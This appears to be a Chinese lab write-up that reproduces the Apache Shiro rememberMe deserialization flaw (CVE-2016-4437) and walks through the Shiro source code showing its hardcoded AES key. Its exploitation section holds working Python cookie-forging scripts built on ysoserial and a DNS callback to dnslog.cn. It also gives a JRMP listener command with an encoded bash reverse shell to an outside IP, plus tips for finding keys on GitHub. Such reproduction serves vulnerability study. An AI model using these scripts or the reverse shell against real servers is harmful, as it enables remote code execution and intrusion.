1. 环境搭建
可以按照网上的教程git后修改xml,或者直接下载已经配置好的samples-web-1.2.4.war,可参考的链接为https://github.com/damit5/damit5.github.io/raw/master/2019/09/26/Apache-Shiro-RememberMe-1-2-4-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%A4%8D%E7%8E%B0/samples-web-1.2.4.war,将该war包放入tomcat/webapps目录下,然后在浏览器中http://localhost:8080/samples-web-1.2.4直接访问。如果要进行代码查看和动态调试,将该war包用IDEA打开,mvn自动构建。配置项目的tomcat并添加war包。
2. 漏洞分析
Apache Shiro反序列化漏洞编号CVE-2016-4437,漏洞特征是rememberMe,存在版本Apache Shiro <= 1.2.4。
Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 > Base64解码–>AES解密(硬编码)–>反序列化。
(1)RemeberMe加密过程
首先跟进下RememberMe值的加密过程,在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin
下个断点,然后点击debug开启tomcat服务。在web端登录账户root/secret,勾选上Remember Me的按钮,程序从断点处开始调试。
首先调用forgetIdentity构造方法处理request和responese请求(加入cookie)->(如果勾选了rememberme选项,if(isRememberMe)进入条件)rememberIdentity处理cookie中的rememberme字段->getIdentityToRemember获取用户身份root->convertPrincipalsToBytes序列化root转成字节码并进行encrypt加密->encrypt()调用AES加密序列化后的root,其密钥由getEncryptionCipherKey得到->getEncryptionCipherKey():base64.decode("KPH+bIxk5D2deZiIxcaaaA==")->rememberSerializedIdentity()将序列化后的结果进行base64加密设置到cookie中
public void rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo) {
PrincipalCollection principals = this.getIdentityToRemember(subject, authcInfo);
this.rememberIdentity(subject, principals);
}
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
this.rememberSerializedIdentity(subject, bytes);
}
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals); //序列化principals
if (getCipherService() != null) {
bytes = encrypt(bytes); //加密bytes
}
return bytes;
}
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
value = byteSource.getBytes();
}
return value;
}
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to set the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
log.debug(msg);
}
} else {
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
String base64 = Base64.encodeToString(serialized);
Cookie template = this.getCookie();
Cookie cookie = new SimpleCookie(template);
cookie.setValue(base64);
cookie.saveTo(request, response);
}
}
(2)RememberMe解密过程
将断点打在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity
,然后发送一个带有rememberMe Cookie的请求。
getRememberedIdentity->getRememberedPrincipals:getCookie.readValue(),base64.decode提取cookie进行base64解码->convertBytesToPrincipals进行ASE解密并反序列化
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);
if (bytes != null && bytes.length > 0) {
principals = this.convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException var4) {
principals = this.onRememberedPrincipalFailure(var4, subjectContext);
}
return principals;
}
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if(log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
} else {
WebSubjectContext wsc = (WebSubjectContext)subjectContext;
if (this.isIdentityRemoved(wsc)) {
return null;
} else {
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = this.getCookie().readValue(request, response);
if ("deleteMe".equals(base64)) {
return null;
} else if (base64 != null) {
base64 = this.ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
return null;
}
}
}
}
public String readValue(HttpServletRequest request, HttpServletResponse ignored) {
String name = this.getName();
String value = null;
javax.servlet.http.Cookie cookie = getCookie(request, name);
if (cookie != null) {
value = cookie.getValue();
log.debug("Found '{}' cookie value [{}]", name, value);
} else {
log.trace("No '{}' cookie value", name);
}
return value;
}
private static javax.servlet.http.Cookie getCookie(HttpServletRequest request, String cookieName) {
javax.servlet.http.Cookie[] cookies = request.getCookies();
if (cookies != null) {
javax.servlet.http.Cookie[] arr$ = cookies;
int len$ = cookies.length;
for(int i$ = 0; i$ < len$; ++i$) {
javax.servlet.http.Cookie cookie = arr$[i$];
if (cookie.getName().equals(cookieName)) {
return cookie;
}
}
}
return null;
}
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (this.getCipherService() != null) {
bytes = this.decrypt(bytes);
}
return this.deserialize(bytes);
}
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, this.getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
} else {
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
T deserialized = ois.readObject();
ois.close();
return deserialized;
} catch (Exception var6) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, var6);
}
}
}
3. 漏洞利用
根据上述对漏洞代码的分析,梳理整个流程为读取cookie的rememberMe值,base64解码,AES解密并进行反序列化。由于AES解密的密钥为常量,可以手动构造rememberMe值并改造其readObject方法,使得在反序列化时可以任意执行操作,从而进行漏洞利用。payload参考了网上其他师傅的。
3.1 cookie生成
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'D:\\payload\\ysoserial-master.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
with open("shrio_payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()), file=fpw)
根据实验可知此漏洞攻击时无回显,那么可以通过dnslog平台,使用ysoserial的URLDNS Gadget来检测。这种检测也可以解决系统环境复杂的问题。但是这里要注意解析会有ttl值缓存,检测时建议每次随机生成一个子域名。
3.2 URLDNS
#!/usr/bin/env python3
# coding:utf-8
from Crypto.Cipher import AES
import traceback
import requests
import subprocess
import uuid
import base64
target = "http://localhost:8080/samples_web_1_2_4_war/"
jar_file = 'D:\\payload\\ysoserial-master.jar'
cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="
popen = subprocess.Popen(['java','-jar',jar_file, "URLDNS", "http://or4qfr.dnslog.cn"],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(cipher_key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
try:
r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=10)
except:
traceback.print_exc()
如果成功检测到dns请求,说明命令执行成功。如图所示:
3.3 JRMP
生成cookie的脚本如下,使用时参数传入ip:port。
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'D:\\payload\\ysoserial-master.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
然后开启攻击机监听命令,因为此源码的war包中包含的Commons-Collections4,所以采用ysoserial中对应的payload版本,CommonsCollections2,参数传入反弹shell,以linux下的bash命令为例。http://www.jackson-t.ca/runtime-exec-payloads.html并在此网站下转换bash,其结果当做参数传入。
java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 1699 CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC40My4zNi4xNTEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}"
burp中发送生成的cookie,并监听bash所用的端口,连接shell。
3.4 key收集
另外在攻击时无法确定Key是否被修改。可以通过网络收集来获取key,例如通过github搜索关键词或文件路径:
securityManager.rememberMeManager.cipherKey
cookieRememberMeManager.setCipherKey
setCipherKey(Base64.decode
WEB-INF/shiro.ini
ShiroConfig.java
参考资料
常用搜索方法:
https://bacde.me/post/Apache-Shiro-Deserialize-Vulnerability/
相关分析:
https://paper.seebug.org/shiro-rememberme-1-2-4/
报错分析:
https://blog.zsxsoft.com/post/35